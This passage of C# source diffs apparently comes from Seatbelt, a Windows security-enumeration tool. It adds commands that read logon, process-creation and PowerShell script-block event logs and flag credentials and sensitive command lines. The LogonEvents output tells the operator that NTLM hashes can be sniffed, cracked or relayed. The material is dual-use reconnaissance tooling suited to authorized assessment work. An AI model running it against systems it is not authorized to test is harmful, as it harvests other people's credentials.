public DateTime? TimeCreatedUtc { get; set; }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
#nullable enable
|
|
@ -0,0 +1,78 @@
|
||||||
|
using Seatbelt.Output.Formatters;
|
||||||
|
using Seatbelt.Output.TextWriters;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands.Windows.EventLogs.ExplicitLogonEvents
|
||||||
|
{
|
||||||
|
[CommandOutputType(typeof(ExplicitLogonEventsDTO))]
|
||||||
|
internal class ExplicitLogonEventsTextFormatter : TextFormatterBase
|
||||||
|
{
|
||||||
|
private readonly Dictionary<string, List<string>> events = new Dictionary<string, List<string>>();
|
||||||
|
|
||||||
|
public ExplicitLogonEventsTextFormatter(ITextWriter writer) : base(writer)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults)
|
||||||
|
{
|
||||||
|
var dto = (ExplicitLogonEventsDTO)result;
|
||||||
|
|
||||||
|
var targetUser = dto.TargetDomain + "\\" + dto.TargetUser;
|
||||||
|
var subjectUser = dto.SubjectDomain + "\\" + dto.SubjectUser;
|
||||||
|
var uniqueCredKey = $"{targetUser},{dto.Process},{subjectUser},{dto.IpAddress}";
|
||||||
|
|
||||||
|
WriteLine($"{dto.TimeCreatedUtc?.ToLocalTime().ToString("MM/dd/yyyy hh:mm tt")},{uniqueCredKey}");
|
||||||
|
|
||||||
|
//if (events.TryGetValue(uniqueCredKey, out _) == false)
|
||||||
|
//{
|
||||||
|
// events[uniqueCredKey] = new List<string>
|
||||||
|
// {
|
||||||
|
// dto.TimeCreated.ToString()
|
||||||
|
// };
|
||||||
|
//}
|
||||||
|
//else
|
||||||
|
//{
|
||||||
|
// events[uniqueCredKey].Add(dto.TimeCreated.ToString());
|
||||||
|
//}
|
||||||
|
|
||||||
|
|
||||||
|
//foreach (string key in events.Keys)
|
||||||
|
//{
|
||||||
|
// WriteLine("\n\n --- " + key + " ---");
|
||||||
|
// var dates = events[key].ToArray();
|
||||||
|
// for (int i = 0; i < dates.Length; i++)
|
||||||
|
// {
|
||||||
|
// if (i % 4 == 0)
|
||||||
|
// {
|
||||||
|
// Write("\n ");
|
||||||
|
// }
|
||||||
|
|
||||||
|
// Write(dates[i].PadRight(24));
|
||||||
|
// }
|
||||||
|
|
||||||
|
// Write("\n");
|
||||||
|
|
||||||
|
|
||||||
|
//WriteLine("\n\n --- " + key + " ---");
|
||||||
|
//var dates = events[key].ToArray();
|
||||||
|
|
||||||
|
//for (var i = 0; i < dates.Length; i++)
|
||||||
|
//{
|
||||||
|
// if (i % 4 == 0)
|
||||||
|
// {
|
||||||
|
// WriteHost("\n ");
|
||||||
|
// }
|
||||||
|
|
||||||
|
// WriteHost(dates[i]);
|
||||||
|
|
||||||
|
// if (i != dates.Length - 1)
|
||||||
|
// {
|
||||||
|
// WriteHost(", ");
|
||||||
|
// }
|
||||||
|
//}
|
||||||
|
|
||||||
|
//WriteLine();
|
||||||
|
//}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,277 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Diagnostics.Eventing.Reader;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Text;
|
||||||
|
using System.Text.RegularExpressions;
|
||||||
|
using Seatbelt.Util;
|
||||||
|
using Seatbelt.Interop;
|
||||||
|
using Seatbelt.Output.Formatters;
|
||||||
|
using Seatbelt.Output.TextWriters;
|
||||||
|
using static Seatbelt.Interop.Secur32;
|
||||||
|
|
||||||
|
// TODO: Group unique credentials together like we do with explicit logon events
|
||||||
|
namespace Seatbelt.Commands.Windows.EventLogs
|
||||||
|
{
|
||||||
|
internal class LogonEventsCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "LogonEvents";
|
||||||
|
public override string Description => "Logon events (Event ID 4624) from the security event log. Default of 10 days, argument == last X days.";
|
||||||
|
public override CommandGroup[] Group => new[] { CommandGroup.Misc, CommandGroup.Remote };
|
||||||
|
public override bool SupportRemote => true;
|
||||||
|
public Runtime ThisRunTime;
|
||||||
|
|
||||||
|
public LogonEventsCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
ThisRunTime = runtime;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
if (!SecurityUtil.IsHighIntegrity() && !ThisRunTime.ISRemote())
|
||||||
|
{
|
||||||
|
WriteError("Unable to collect. Must be an administrator/in a high integrity context.");
|
||||||
|
yield break;
|
||||||
|
}
|
||||||
|
|
||||||
|
var NTLMv1Users = new HashSet<string>();
|
||||||
|
var NTLMv2Users = new HashSet<string>();
|
||||||
|
var KerberosUsers = new HashSet<string>();
|
||||||
|
|
||||||
|
// grab events from the last X days - 10 for workstations, 30 for "-full" collection
|
||||||
|
// Always use the user-supplied value, if specified
|
||||||
|
var lastDays = 10;
|
||||||
|
if(ThisRunTime.ISRemote())
|
||||||
|
{
|
||||||
|
lastDays = 5;
|
||||||
|
}
|
||||||
|
else if (Shlwapi.IsWindowsServer())
|
||||||
|
{
|
||||||
|
lastDays = 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
string? userRegex = null;
|
||||||
|
|
||||||
|
if (args.Length >= 1)
|
||||||
|
{
|
||||||
|
if (!int.TryParse(args[0], out lastDays))
|
||||||
|
{
|
||||||
|
throw new ArgumentException("Argument is not an integer");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (args.Length >= 2)
|
||||||
|
{
|
||||||
|
userRegex = args[1];
|
||||||
|
}
|
||||||
|
|
||||||
|
WriteVerbose($"Listing 4624 Account Logon Events for the last {lastDays} days.\n");
|
||||||
|
|
||||||
|
if (userRegex != null)
|
||||||
|
{
|
||||||
|
WriteVerbose($"Username Filter: {userRegex}");
|
||||||
|
}
|
||||||
|
|
||||||
|
var startTime = DateTime.Now.AddDays(-lastDays);
|
||||||
|
var endTime = DateTime.Now;
|
||||||
|
|
||||||
|
var query = $@"*[System/EventID=4624] and *[System[TimeCreated[@SystemTime >= '{startTime.ToUniversalTime():o}']]] and *[System[TimeCreated[@SystemTime <= '{endTime.ToUniversalTime():o}']]]";
|
||||||
|
var logReader = ThisRunTime.GetEventLogReader("Security", query);
|
||||||
|
|
||||||
|
WriteHost(" TimeCreated,TargetUser,LogonType,IpAddress,SubjectUsername,AuthenticationPackageName,LmPackageName,TargetOutboundUser");
|
||||||
|
|
||||||
|
for (var eventDetail = logReader.ReadEvent(); eventDetail != null; eventDetail = logReader.ReadEvent())
|
||||||
|
{
|
||||||
|
//var subjectUserSid = eventDetail.Properties[0].Value.ToString();
|
||||||
|
var subjectUserName = eventDetail.Properties[1].Value.ToString();
|
||||||
|
var subjectDomainName = eventDetail.Properties[2].Value.ToString();
|
||||||
|
//var subjectLogonId = eventDetail.Properties[3].Value.ToString();
|
||||||
|
//var targetUserSid = eventDetail.Properties[4].Value.ToString();
|
||||||
|
var targetUserName = eventDetail.Properties[5].Value.ToString();
|
||||||
|
var targetDomainName = eventDetail.Properties[6].Value.ToString();
|
||||||
|
//var targetLogonId = eventDetail.Properties[7].Value.ToString();
|
||||||
|
//var logonType = eventDetail.Properties[8].Value.ToString();
|
||||||
|
var logonType = $"{(SECURITY_LOGON_TYPE)(int.Parse(eventDetail.Properties[8].Value.ToString()))}";
|
||||||
|
//var logonProcessName = eventDetail.Properties[9].Value.ToString();
|
||||||
|
var authenticationPackageName = eventDetail.Properties[10].Value.ToString();
|
||||||
|
//var workstationName = eventDetail.Properties[11].Value.ToString();
|
||||||
|
//var logonGuid = eventDetail.Properties[12].Value.ToString();
|
||||||
|
//var transmittedServices = eventDetail.Properties[13].Value.ToString();
|
||||||
|
var lmPackageName = eventDetail.Properties[14].Value.ToString();
|
||||||
|
lmPackageName = lmPackageName == "-" ? "" : lmPackageName;
|
||||||
|
//var keyLength = eventDetail.Properties[15].Value.ToString();
|
||||||
|
//var processId = eventDetail.Properties[16].Value.ToString();
|
||||||
|
//var processName = eventDetail.Properties[17].Value.ToString();
|
||||||
|
var ipAddress = eventDetail.Properties[18].Value.ToString();
|
||||||
|
//var ipPort = eventDetail.Properties[19].Value.ToString();
|
||||||
|
//var impersonationLevel = eventDetail.Properties[20].Value.ToString();
|
||||||
|
//var restrictedAdminMode = eventDetail.Properties[21].Value.ToString();
|
||||||
|
|
||||||
|
var targetOutboundUserName = "-";
|
||||||
|
var targetOutboundDomainName = "-";
|
||||||
|
if (eventDetail.Properties.Count > 22) // Not available on older versions of Windows
|
||||||
|
{
|
||||||
|
targetOutboundUserName = eventDetail.Properties[22].Value.ToString();
|
||||||
|
targetOutboundDomainName = eventDetail.Properties[23].Value.ToString();
|
||||||
|
}
|
||||||
|
//var VirtualAccount = eventDetail.Properties[24].Value.ToString();
|
||||||
|
//var TargetLinkedLogonId = eventDetail.Properties[25].Value.ToString();
|
||||||
|
//var ElevatedToken = eventDetail.Properties[26].Value.ToString();
|
||||||
|
|
||||||
|
// filter out SYSTEM, computer accounts, local service accounts, UMFD-X accounts, and DWM-X accounts (for now)
|
||||||
|
var userIgnoreRegex = "^(SYSTEM|LOCAL SERVICE|NETWORK SERVICE|UMFD-[0-9]+|DWM-[0-9]+|ANONYMOUS LOGON|" + Environment.MachineName + "\\$)$";
|
||||||
|
if (userRegex == null && Regex.IsMatch(targetUserName, userIgnoreRegex, RegexOptions.IgnoreCase))
|
||||||
|
continue;
|
||||||
|
|
||||||
|
var domainIgnoreRegex = "^(NT VIRTUAL MACHINE)$";
|
||||||
|
if (userRegex == null && Regex.IsMatch(targetDomainName, domainIgnoreRegex, RegexOptions.IgnoreCase))
|
||||||
|
continue;
|
||||||
|
|
||||||
|
|
||||||
|
// Handle the user filter
|
||||||
|
if (userRegex != null && !Regex.IsMatch(targetUserName, userRegex, RegexOptions.IgnoreCase))
|
||||||
|
continue;
|
||||||
|
|
||||||
|
// Analyze the output
|
||||||
|
if (logonType == "Network")
|
||||||
|
{
|
||||||
|
var accountName = $"{targetDomainName}\\{targetUserName}";
|
||||||
|
if (authenticationPackageName == "NTLM")
|
||||||
|
{
|
||||||
|
switch (lmPackageName)
|
||||||
|
{
|
||||||
|
case "NTLM V1":
|
||||||
|
NTLMv1Users.Add(accountName);
|
||||||
|
break;
|
||||||
|
case "NTLM V2":
|
||||||
|
NTLMv2Users.Add(accountName);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if (authenticationPackageName == "Kerberos")
|
||||||
|
{
|
||||||
|
KerberosUsers.Add(accountName);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
yield return new LogonEventsDTO(
|
||||||
|
eventDetail.TimeCreated?.ToUniversalTime(),
|
||||||
|
targetUserName,
|
||||||
|
targetDomainName,
|
||||||
|
logonType,
|
||||||
|
ipAddress,
|
||||||
|
subjectUserName,
|
||||||
|
subjectDomainName,
|
||||||
|
authenticationPackageName,
|
||||||
|
lmPackageName,
|
||||||
|
targetOutboundUserName,
|
||||||
|
targetOutboundDomainName
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// TODO: Move all of this into a Foramtter class
|
||||||
|
if (NTLMv1Users.Count > 0 || NTLMv2Users.Count > 0)
|
||||||
|
{
|
||||||
|
WriteHost("\n Other accounts authenticate to this machine using NTLM! NTLM-relay may be possible");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (NTLMv1Users.Count > 0)
|
||||||
|
{
|
||||||
|
WriteHost("\n Accounts authenticate to this machine using NTLM v1!");
|
||||||
|
WriteHost(" You can obtain these accounts' **NTLM** hashes by sniffing NTLM challenge/responses and then cracking them!");
|
||||||
|
WriteHost(" NTLM v1 authentication is 100% broken!\n");
|
||||||
|
|
||||||
|
PrintUserSet(NTLMv1Users);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (NTLMv2Users.Count > 0)
|
||||||
|
{
|
||||||
|
WriteHost("\n Accounts authenticate to this machine using NTLM v2!");
|
||||||
|
WriteHost(" You can obtain NetNTLMv2 for these accounts by sniffing NTLM challenge/responses.");
|
||||||
|
WriteHost(" You can then try and crack their passwords.\n");
|
||||||
|
|
||||||
|
PrintUserSet(NTLMv2Users);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (KerberosUsers.Count > 0)
|
||||||
|
{
|
||||||
|
WriteHost("\n The following users have authenticated to this machine using Kerberos.\n");
|
||||||
|
PrintUserSet(KerberosUsers);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void PrintUserSet(HashSet<string> users)
|
||||||
|
{
|
||||||
|
var set = users.OrderBy(u => u).ToArray();
|
||||||
|
|
||||||
|
var line = new StringBuilder();
|
||||||
|
for (var i = 0; i < set.Length; i++)
|
||||||
|
{
|
||||||
|
if (i % 3 == 0)
|
||||||
|
{
|
||||||
|
WriteHost(line.ToString());
|
||||||
|
line.Length = 0;
|
||||||
|
line.Append(" ");
|
||||||
|
}
|
||||||
|
|
||||||
|
line.Append(set.ElementAt(i).PadRight(30));
|
||||||
|
}
|
||||||
|
|
||||||
|
WriteHost(line.ToString());
|
||||||
|
WriteHost();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class LogonEventsDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public LogonEventsDTO(DateTime? timeCreatedUtc, string targetUserName, string targetDomainName, string logonType, string ipAddress, string subjectUserName, string subjectDomainName, string authenticationPackage, string lmPackage, string targetOutboundUserName, string targetOutboundDomainName)
|
||||||
|
{
|
||||||
|
TimeCreatedUtc = timeCreatedUtc;
|
||||||
|
TargetUserName = targetUserName;
|
||||||
|
TargetDomainName = targetDomainName;
|
||||||
|
LogonType = logonType;
|
||||||
|
IpAddress = ipAddress;
|
||||||
|
SubjectUserName = subjectUserName;
|
||||||
|
SubjectDomainName = subjectDomainName;
|
||||||
|
AuthenticationPackage = authenticationPackage;
|
||||||
|
LmPackage = lmPackage;
|
||||||
|
TargetOutboundUserName = targetOutboundUserName;
|
||||||
|
TargetOutboundDomainName = targetOutboundDomainName;
|
||||||
|
}
|
||||||
|
|
||||||
|
public DateTime? TimeCreatedUtc { get; set; }
|
||||||
|
public string TargetUserName { get; set; }
|
||||||
|
public string TargetDomainName { get; set; }
|
||||||
|
public string LogonType { get; set; }
|
||||||
|
public string IpAddress { get; set; }
|
||||||
|
public string SubjectUserName { get; set; }
|
||||||
|
public string SubjectDomainName { get; set; }
|
||||||
|
public string AuthenticationPackage { get; set; }
|
||||||
|
public string LmPackage { get; set; }
|
||||||
|
public string TargetOutboundUserName { get; set; }
|
||||||
|
public string TargetOutboundDomainName { get; set; }
|
||||||
|
}
|
||||||
|
|
||||||
|
[CommandOutputType(typeof(LogonEventsDTO))]
|
||||||
|
internal class LogonEventsTextFormatter : TextFormatterBase
|
||||||
|
{
|
||||||
|
public LogonEventsTextFormatter(ITextWriter writer) : base(writer)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults)
|
||||||
|
{
|
||||||
|
var dto = (LogonEventsDTO)result;
|
||||||
|
var targetUser = dto.TargetDomainName + "\\" + dto.TargetUserName;
|
||||||
|
var subjectUser = dto.SubjectDomainName + "\\" + dto.SubjectUserName;
|
||||||
|
string targetOutboundUser = "";
|
||||||
|
if (dto.TargetOutboundUserName != "-")
|
||||||
|
{
|
||||||
|
targetOutboundUser = dto.TargetOutboundDomainName + "\\" + dto.TargetOutboundUserName;
|
||||||
|
}
|
||||||
|
|
||||||
|
WriteLine($" {dto.TimeCreatedUtc?.ToLocalTime()},{targetUser},{dto.LogonType},{dto.IpAddress},{subjectUser},{dto.AuthenticationPackage},{dto.LmPackage},{targetOutboundUser}");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,120 @@
|
||||||
|
using Seatbelt.Util;
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Diagnostics.Eventing.Reader;
|
||||||
|
using System.Text.RegularExpressions;
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands.Windows.EventLogs
|
||||||
|
{
|
||||||
|
internal class PowerShellEventsCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "PowerShellEvents";
|
||||||
|
public override string Description => "PowerShell script block logs (4104) with sensitive data.";
|
||||||
|
public override CommandGroup[] Group => new[] { CommandGroup.Misc };
|
||||||
|
public override bool SupportRemote => true;
|
||||||
|
public Runtime ThisRunTime;
|
||||||
|
|
||||||
|
public PowerShellEventsCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
ThisRunTime = runtime;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
// adapted from @djhohnstein's EventLogParser project
|
||||||
|
// https://github.com/djhohnstein/EventLogParser/blob/master/EventLogParser/EventLogHelpers.cs
|
||||||
|
// combined with scraping from https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/windows-commands
|
||||||
|
|
||||||
|
WriteVerbose($"Searching script block logs (EID 4104) for sensitive data.\n");
|
||||||
|
|
||||||
|
var context = 3; // number of lines around the match to display
|
||||||
|
|
||||||
|
string[] powershellLogs = { "Microsoft-Windows-PowerShell/Operational", "Windows PowerShell" };
|
||||||
|
|
||||||
|
// Get our "sensitive" cmdline regexes from a common helper function.
|
||||||
|
var powershellRegex = MiscUtil.GetProcessCmdLineRegex();
|
||||||
|
|
||||||
|
if (args.Length >= 1)
|
||||||
|
{
|
||||||
|
string allArgs = String.Join(" ", args);
|
||||||
|
powershellRegex = new Regex [] { new Regex(allArgs, RegexOptions.IgnoreCase & RegexOptions.Multiline) };
|
||||||
|
}
|
||||||
|
|
||||||
|
foreach (var logName in powershellLogs)
|
||||||
|
{
|
||||||
|
var query = "*[System/EventID=4104]";
|
||||||
|
|
||||||
|
var logReader = ThisRunTime.GetEventLogReader(logName, query);
|
||||||
|
|
||||||
|
for (var eventDetail = logReader.ReadEvent(); eventDetail != null; eventDetail = logReader.ReadEvent())
|
||||||
|
{
|
||||||
|
var scriptBlock = eventDetail.Properties[2].Value.ToString();
|
||||||
|
|
||||||
|
foreach (var reg in powershellRegex)
|
||||||
|
{
|
||||||
|
var m = reg.Match(scriptBlock);
|
||||||
|
if (!m.Success)
|
||||||
|
continue;
|
||||||
|
|
||||||
|
var contextLines = new List<string>();
|
||||||
|
|
||||||
|
var scriptBlockParts = scriptBlock.Split('\n');
|
||||||
|
for (var i = 0; i < scriptBlockParts.Length; i++)
|
||||||
|
{
|
||||||
|
if (!scriptBlockParts[i].Contains(m.Value))
|
||||||
|
continue;
|
||||||
|
|
||||||
|
var printed = 0;
|
||||||
|
for (var j = 1; i - j > 0 && printed < context; j++)
|
||||||
|
{
|
||||||
|
if (scriptBlockParts[i - j].Trim() == "")
|
||||||
|
continue;
|
||||||
|
|
||||||
|
contextLines.Add(scriptBlockParts[i - j].Trim());
|
||||||
|
printed++;
|
||||||
|
}
|
||||||
|
printed = 0;
|
||||||
|
contextLines.Add(m.Value.Trim());
|
||||||
|
for (var j = 1; printed < context && i + j < scriptBlockParts.Length; j++)
|
||||||
|
{
|
||||||
|
if (scriptBlockParts[i + j].Trim() == "")
|
||||||
|
continue;
|
||||||
|
|
||||||
|
contextLines.Add(scriptBlockParts[i + j].Trim());
|
||||||
|
printed++;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
var contextJoined = string.Join("\n", contextLines.ToArray());
|
||||||
|
|
||||||
|
yield return new PowerShellEventsDTO(
|
||||||
|
eventDetail.TimeCreated,
|
||||||
|
eventDetail.Id,
|
||||||
|
$"{eventDetail.UserId}",
|
||||||
|
m.Value,
|
||||||
|
contextJoined
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class PowerShellEventsDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public PowerShellEventsDTO(DateTime? timeCreated, int eventId, string userId, string match, string context)
|
||||||
|
{
|
||||||
|
TimeCreated = timeCreated;
|
||||||
|
EventId = eventId;
|
||||||
|
UserId = userId;
|
||||||
|
Match = match;
|
||||||
|
Context = context;
|
||||||
|
}
|
||||||
|
public DateTime? TimeCreated { get; }
|
||||||
|
public int EventId { get; }
|
||||||
|
public string UserId { get; }
|
||||||
|
public string Match { get; }
|
||||||
|
public string Context { get; }
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,117 @@
|
||||||
|
#nullable disable
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Diagnostics.Eventing.Reader;
|
||||||
|
using Seatbelt.Output.Formatters;
|
||||||
|
using Seatbelt.Output.TextWriters;
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands.Windows.EventLogs
|
||||||
|
{
|
||||||
|
internal class PoweredOnEventsCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "PoweredOnEvents";
|
||||||
|
public override string Description => "Reboot and sleep schedule based on the System event log EIDs 1, 12, 13, 42, and 6008. Default of 7 days, argument == last X days.";
|
||||||
|
public override CommandGroup[] Group => new[] {CommandGroup.System, CommandGroup.Remote};
|
||||||
|
public override bool SupportRemote => true;
|
||||||
|
public Runtime ThisRunTime;
|
||||||
|
|
||||||
|
public PoweredOnEventsCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
ThisRunTime = runtime;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
// queries event IDs 12 (kernel boot) and 13 (kernel shutdown), sorts, and gives reboot schedule
|
||||||
|
// grab events from the last X days - 15 for default
|
||||||
|
var lastDays = 7;
|
||||||
|
|
||||||
|
if (!Runtime.FilterResults)
|
||||||
|
{
|
||||||
|
lastDays = 30;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (args.Length == 1)
|
||||||
|
{
|
||||||
|
if (!int.TryParse(args[0], out lastDays))
|
||||||
|
{
|
||||||
|
WriteError("Could not parse number");
|
||||||
|
yield break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
WriteHost($"Collecting kernel boot (EID 12) and shutdown (EID 13) events from the last {lastDays} days\n");
|
||||||
|
WriteHost("Powered On Events (Time is local time)");
|
||||||
|
|
||||||
|
var startTime = DateTime.Now.AddDays(-lastDays);
|
||||||
|
var endTime = DateTime.Now;
|
||||||
|
|
||||||
|
|
||||||
|
// eventID 1 == sleep
|
||||||
|
var query = $@"
|
||||||
|
((*[System[(EventID=12 or EventID=13) and Provider[@Name='Microsoft-Windows-Kernel-General']]] or *[System/EventID=42]) or (*[System/EventID=6008]) or (*[System/EventID=1] and *[System[Provider[@Name='Microsoft-Windows-Power-Troubleshooter']]])) and *[System[TimeCreated[@SystemTime >= '{startTime.ToUniversalTime():o}']]] and *[System[TimeCreated[@SystemTime <= '{endTime.ToUniversalTime():o}']]]
|
||||||
|
";
|
||||||
|
|
||||||
|
var logReader = ThisRunTime.GetEventLogReader("System", query);
|
||||||
|
|
||||||
|
for (var eventDetail = logReader.ReadEvent(); eventDetail != null; eventDetail = logReader.ReadEvent())
|
||||||
|
{
|
||||||
|
string action = null;
|
||||||
|
switch (eventDetail.Id)
|
||||||
|
{
|
||||||
|
case 1:
|
||||||
|
action = "awake";
|
||||||
|
break;
|
||||||
|
case 12:
|
||||||
|
action = "startup";
|
||||||
|
break;
|
||||||
|
case 13:
|
||||||
|
action = "shutdown";
|
||||||
|
break;
|
||||||
|
case 42:
|
||||||
|
action = "sleep";
|
||||||
|
break;
|
||||||
|
case 6008:
|
||||||
|
action = "shutdown(UnexpectedShutdown)";
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
yield return new PoweredOnEventsDTO()
|
||||||
|
{
|
||||||
|
DateUtc = (DateTime)eventDetail.TimeCreated?.ToUniversalTime(),
|
||||||
|
Description = action
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class PoweredOnEventsDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public DateTime DateUtc { get; set; }
|
||||||
|
public string Description { get; set; }
|
||||||
|
}
|
||||||
|
|
||||||
|
[CommandOutputType(typeof(PoweredOnEventsDTO))]
|
||||||
|
internal class PoweredOnEventsTextFormatter : TextFormatterBase
|
||||||
|
{
|
||||||
|
private string _currentDay = "";
|
||||||
|
|
||||||
|
public PoweredOnEventsTextFormatter(ITextWriter writer) : base(writer)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults)
|
||||||
|
{
|
||||||
|
|
||||||
|
var dto = (PoweredOnEventsDTO)result;
|
||||||
|
if (_currentDay != dto.DateUtc.ToShortDateString())
|
||||||
|
{
|
||||||
|
_currentDay = dto.DateUtc.ToShortDateString();
|
||||||
|
WriteLine();
|
||||||
|
}
|
||||||
|
|
||||||
|
WriteLine($" {dto.DateUtc.ToLocalTime(),-23} : {dto.Description}");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
#nullable enable
|
|
@ -0,0 +1,99 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Diagnostics.Eventing.Reader;
|
||||||
|
using System.Text.RegularExpressions;
|
||||||
|
using Seatbelt.Output.Formatters;
|
||||||
|
using Seatbelt.Output.TextWriters;
|
||||||
|
using Seatbelt.Util;
|
||||||
|
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands.Windows.EventLogs
|
||||||
|
{
|
||||||
|
internal class ProcessCreationEventsCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "ProcessCreationEvents";
|
||||||
|
public override string Description => "Process creation logs (4688) with sensitive data.";
|
||||||
|
public override CommandGroup[] Group => new[] { CommandGroup.Misc };
|
||||||
|
public override bool SupportRemote => true;
|
||||||
|
public Runtime ThisRunTime;
|
||||||
|
|
||||||
|
public ProcessCreationEventsCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
ThisRunTime = runtime;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
if (!SecurityUtil.IsHighIntegrity() && !ThisRunTime.ISRemote())
|
||||||
|
{
|
||||||
|
WriteError("Unable to collect. Must be an administrator.");
|
||||||
|
yield break;
|
||||||
|
}
|
||||||
|
|
||||||
|
WriteVerbose($"Searching process creation logs (EID 4688) for sensitive data.");
|
||||||
|
WriteVerbose($"Format: Date(Local time),User,Command line.\n");
|
||||||
|
|
||||||
|
// Get our "sensitive" cmdline regexes from a common helper function.
|
||||||
|
var processCmdLineRegex = MiscUtil.GetProcessCmdLineRegex();
|
||||||
|
|
||||||
|
if (args.Length >= 1)
|
||||||
|
{
|
||||||
|
string allArgs = String.Join(" ", args);
|
||||||
|
processCmdLineRegex = new Regex[] { new Regex(allArgs, RegexOptions.IgnoreCase & RegexOptions.Multiline) };
|
||||||
|
}
|
||||||
|
|
||||||
|
var query = $"*[System/EventID=4688]";
|
||||||
|
var logReader = ThisRunTime.GetEventLogReader("Security", query);
|
||||||
|
|
||||||
|
for (var eventDetail = logReader.ReadEvent(); eventDetail != null; eventDetail = logReader.ReadEvent())
|
||||||
|
{
|
||||||
|
var user = eventDetail.Properties[1].Value.ToString().Trim();
|
||||||
|
var commandLine = eventDetail.Properties[8].Value.ToString().Trim();
|
||||||
|
|
||||||
|
foreach (var reg in processCmdLineRegex)
|
||||||
|
{
|
||||||
|
var m = reg.Match(commandLine);
|
||||||
|
if (m.Success)
|
||||||
|
{
|
||||||
|
yield return new ProcessCreationEventDTO(
|
||||||
|
eventDetail.TimeCreated?.ToUniversalTime(),
|
||||||
|
eventDetail.Id,
|
||||||
|
user,
|
||||||
|
commandLine
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class ProcessCreationEventDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public ProcessCreationEventDTO(DateTime? timeCreatedUtc, int eventId, string user, string match)
|
||||||
|
{
|
||||||
|
TimeCreatedUtc = timeCreatedUtc;
|
||||||
|
EventID = eventId;
|
||||||
|
User = user;
|
||||||
|
Match = match;
|
||||||
|
}
|
||||||
|
public DateTime? TimeCreatedUtc { get; set; }
|
||||||
|
public int EventID { get; set; }
|
||||||
|
public string User { get; set; }
|
||||||
|
public string Match { get; set; }
|
||||||
|
}
|
||||||
|
|
||||||
|
[CommandOutputType(typeof(ProcessCreationEventDTO))]
|
||||||
|
internal class ProcessCreationEventTextFormatter : TextFormatterBase
|
||||||
|
{
|
||||||
|
public ProcessCreationEventTextFormatter(ITextWriter writer) : base(writer)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults)
|
||||||
|
{
|
||||||
|
var dto = (ProcessCreationEventDTO)result;
|
||||||
|
|
||||||
|
WriteLine($" {dto.TimeCreatedUtc?.ToLocalTime(),-22} {dto.User,-30} {dto.Match}");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,91 @@
|
||||||
|
#nullable disable
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
